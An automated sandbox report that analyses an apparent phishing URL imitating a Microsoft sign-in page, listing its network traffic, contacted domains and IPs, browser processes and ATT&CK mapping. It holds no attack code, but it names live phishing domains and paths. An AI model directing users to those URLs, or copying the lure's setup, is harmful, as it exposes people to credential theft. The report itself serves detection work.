Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://bonsoiree.mareanebulosasao.it.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: bonsoiree.mareanebulosasao.it.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: mailmeteor.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: 1674039279-1317754460.cos.ap-singapore.myqcloud.com
Source: global traffic	DNS traffic detected: DNS query: bjsz.mareanebulosasao.it.com
Source: global traffic	DNS traffic detected: DNS query: res.cloudinary.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1094466287:1742301107:FItDK9GrEtQnCOsTrwhQfEUVRnlNXFphWiOKv-HlkxM/9224cf676904c3fa/IYyC3Jp0Ap6ZHGaRAFIE09WTDYfQVmaNpCGoY0srmtI-1742301748-1.1.1.1-vxC78hRykL1vzkcOw7O2MeCXc1VleUrAB5L71SMXt.3aq3DAV5Bv9_PbQJORVFa7 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3806sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: text/plain;charset=UTF-8cf-chl: IYyC3Jp0Ap6ZHGaRAFIE09WTDYfQVmaNpCGoY0srmtI-1742301748-1.1.1.1-vxC78hRykL1vzkcOw7O2MeCXc1VleUrAB5L71SMXt.3aq3DAV5Bv9_PbQJORVFa7cf-chl-ra: 0sec-ch-ua-mobile: ?0Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/tcxwy/0x4AAAAAAA-tr_eUy_ttfipm/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Mar 2025 12:42:30 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400CF-Cache-Status: MISSReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AN11m%2B5laoqJ4pYgdfIpJHJ6XOmX3Npcn%2BnPDHwPp6%2FMcGqJCONVDx3HmCzDmh5gLlww%2BmB%2FaQ35yN1zSIO5gIZsrRAKctn%2FE7Pnvhe4yxexFgl0KpNteYNiGVdTNeEHve6xKPasa1r1eHwubqWJG%2BQ7N7I%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 9224cf716f7fefa9-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2579&min_rtt=2421&rtt_var=1224&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2859&recv_bytes=1253&delivery_rate=791757&cwnd=149&unsent_bytes=0&cid=b1a68d0c62f465ce&ts=326&x=0"

Source: chromecache_81.1.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_74.1.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_65.1.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_65.1.dr, chromecache_74.1.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_65.1.dr, chromecache_74.1.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 64875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.17:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.17:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.17:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.17:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.19:443 -> 192.168.2.17:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.19:443 -> 192.168.2.17:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.17:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.196:443 -> 192.168.2.17:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.17:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.17:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.66.137:443 -> 192.168.2.17:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.10.207:443 -> 192.168.2.17:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.17:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.10.207:443 -> 192.168.2.17:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 43.152.64.193:443 -> 192.168.2.17:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.201.1:443 -> 192.168.2.17:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.17:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.202.1:443 -> 192.168.2.17:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.17:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.123.12.181:443 -> 192.168.2.17:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.123.12.181:443 -> 192.168.2.17:49763 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir812_939449086

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir812_939449086

Jump to behavior

Source: classification engine

Classification label: mal60.phis.win@24/39@40/16

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2040,i,16244986791002289555,1091546220457226333,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2252 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://bonsoiree.mareanebulosasao.it.com/IFEXy"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2040,i,16244986791002289555,1091546220457226333,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2252 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://bonsoiree.mareanebulosasao.it.com/IFEXy	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://bjsz.mareanebulosasao.it.com/google.php	0%	Avira URL Cloud	safe
https://1674039279-1317754460.cos.ap-singapore.myqcloud.com/bootstrap.min.js	0%	Avira URL Cloud	safe
https://bonsoiree.mareanebulosasao.it.com/favicon.ico	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
mailmeteor.com	172.67.187.19	true	false	high
stackpath.bootstrapcdn.com	104.18.10.207	true	false	high
sgp.file.myqcloud.com	43.152.64.193	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
e329293.dscd.akamaiedge.net	92.123.12.181	true	false	high
maxcdn.bootstrapcdn.com	104.18.10.207	true	false	high
bonsoiree.mareanebulosasao.it.com	104.21.64.1	true	true	unknown
bjsz.mareanebulosasao.it.com	104.21.64.1	true	false	high
code.jquery.com	151.101.66.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
resc.cloudinary.com.cdn.cloudflare.net	104.17.201.1	true	false	high
www.google.com	142.250.185.196	true	false	high
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	high
res.cloudinary.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
1674039279-1317754460.cos.ap-singapore.myqcloud.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false		high
https://a.nel.cloudflare.com/report/v4?s=AN11m%2B5laoqJ4pYgdfIpJHJ6XOmX3Npcn%2BnPDHwPp6%2FMcGqJCONVDx3HmCzDmh5gLlww%2BmB%2FaQ35yN1zSIO5gIZsrRAKctn%2FE7Pnvhe4yxexFgl0KpNteYNiGVdTNeEHve6xKPasa1r1eHwubqWJG%2BQ7N7I%3D	false		high
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false		high
https://bjsz.mareanebulosasao.it.com/google.php	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/tcxwy/0x4AAAAAAA-tr_eUy_ttfipm/auto/fbE/new/normal/auto/	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=9224cf676904c3fa&lang=auto	false		high
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://bonsoiree.mareanebulosasao.it.com/IFEXy	false		unknown
https://bonsoiree.mareanebulosasao.it.com/IFEXy/	true		unknown
https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/9224cf676904c3fa/1742301750157/e1f2ceee5e0e2842f03777dac4e51e94a39a06ce6cb8694d33c3e5851ee19efc/B7-oSowbJRNI7hX	false		high
https://bonsoiree.mareanebulosasao.it.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://1674039279-1317754460.cos.ap-singapore.myqcloud.com/bootstrap.min.js	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/1094466287:1742301107:FItDK9GrEtQnCOsTrwhQfEUVRnlNXFphWiOKv-HlkxM/9224cf676904c3fa/IYyC3Jp0Ap6ZHGaRAFIE09WTDYfQVmaNpCGoY0srmtI-1742301748-1.1.1.1-vxC78hRykL1vzkcOw7O2MeCXc1VleUrAB5L71SMXt.3aq3DAV5Bv9_PbQJORVFa7	false		high
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high
https://res.cloudinary.com/dxetjqzbe/image/upload/v1742052868/6059C6BA-9C9F-4199-8218-8895A9F0C3C8_ctielh.png	false		high
https://mailmeteor.com/logos/assets/PNG/Microsoft_Logo_512px.png	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/d/9224cf676904c3fa/1742301750158/4VIwLB1MLbCTSvd	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://getbootstrap.com/)	chromecache_65.1.dr	false	high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_65.1.dr, chromecache_74.1.dr	false	high
https://getbootstrap.com)	chromecache_74.1.dr	false	high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_65.1.dr, chromecache_74.1.dr	false	high
http://opensource.org/licenses/MIT).	chromecache_81.1.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.10.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
172.67.187.19	mailmeteor.com	United States	13335	CLOUDFLARENETUS	false
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.64.1	bonsoiree.mareanebulosasao.it.com	United States	13335	CLOUDFLARENETUS	true
43.152.64.193	sgp.file.myqcloud.com	Japan	4249	LILLY-ASUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
92.123.12.181	e329293.dscd.akamaiedge.net	European Union	16625	AKAMAI-ASUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.21.32.1	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
216.58.206.68	unknown	United States	15169	GOOGLEUS	false
142.250.185.196	www.google.com	United States	15169	GOOGLEUS	false
104.17.202.1	unknown	United States	13335	CLOUDFLARENETUS	false
104.17.201.1	resc.cloudinary.com.cdn.cloudflare.net	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.17

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1641791
Start date and time:	2025-03-18 13:41:42 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://bonsoiree.mareanebulosasao.it.com/IFEXy
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.phis.win@24/39@40/16
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.16.206, 142.250.185.163, 142.250.185.110, 74.125.133.84, 142.250.185.238, 216.58.206.46, 142.250.74.206, 142.250.185.170, 142.250.185.78, 142.250.184.206, 142.250.185.142, 142.250.185.106, 142.250.184.234, 172.217.18.106, 142.250.74.202, 142.250.186.170, 142.250.184.202, 142.250.185.74, 142.250.186.42, 142.250.186.106, 216.58.206.74, 172.217.16.138, 142.250.185.138, 142.250.186.74, 172.217.18.10, 142.250.186.138, 142.250.185.206, 142.250.186.131, 172.217.23.99, 142.250.181.238, 172.217.18.14, 172.217.18.110, 142.251.35.174, 173.194.7.38, 142.250.185.174, 172.202.163.200, 23.199.214.10, 13.107.246.60, 52.149.20.212
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, r1.sn-p5qddn76.gvt1.com, r1---sn-p5qddn76.gvt1.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://bonsoiree.mareanebulosasao.it.com/IFEXy

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 18, 2025 13:42:23.674173117 CET	53	53458	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:23.772340059 CET	53	60108	1.1.1.1	192.168.2.17
Mar 18, 2025 13:42:24.528784037 CET	56300	53	192.168.2.17	1.1.1.1
Mar 18, 2025 13:42:24.529073954 CET	49576	53	192.168.2.17	1.1.1.1
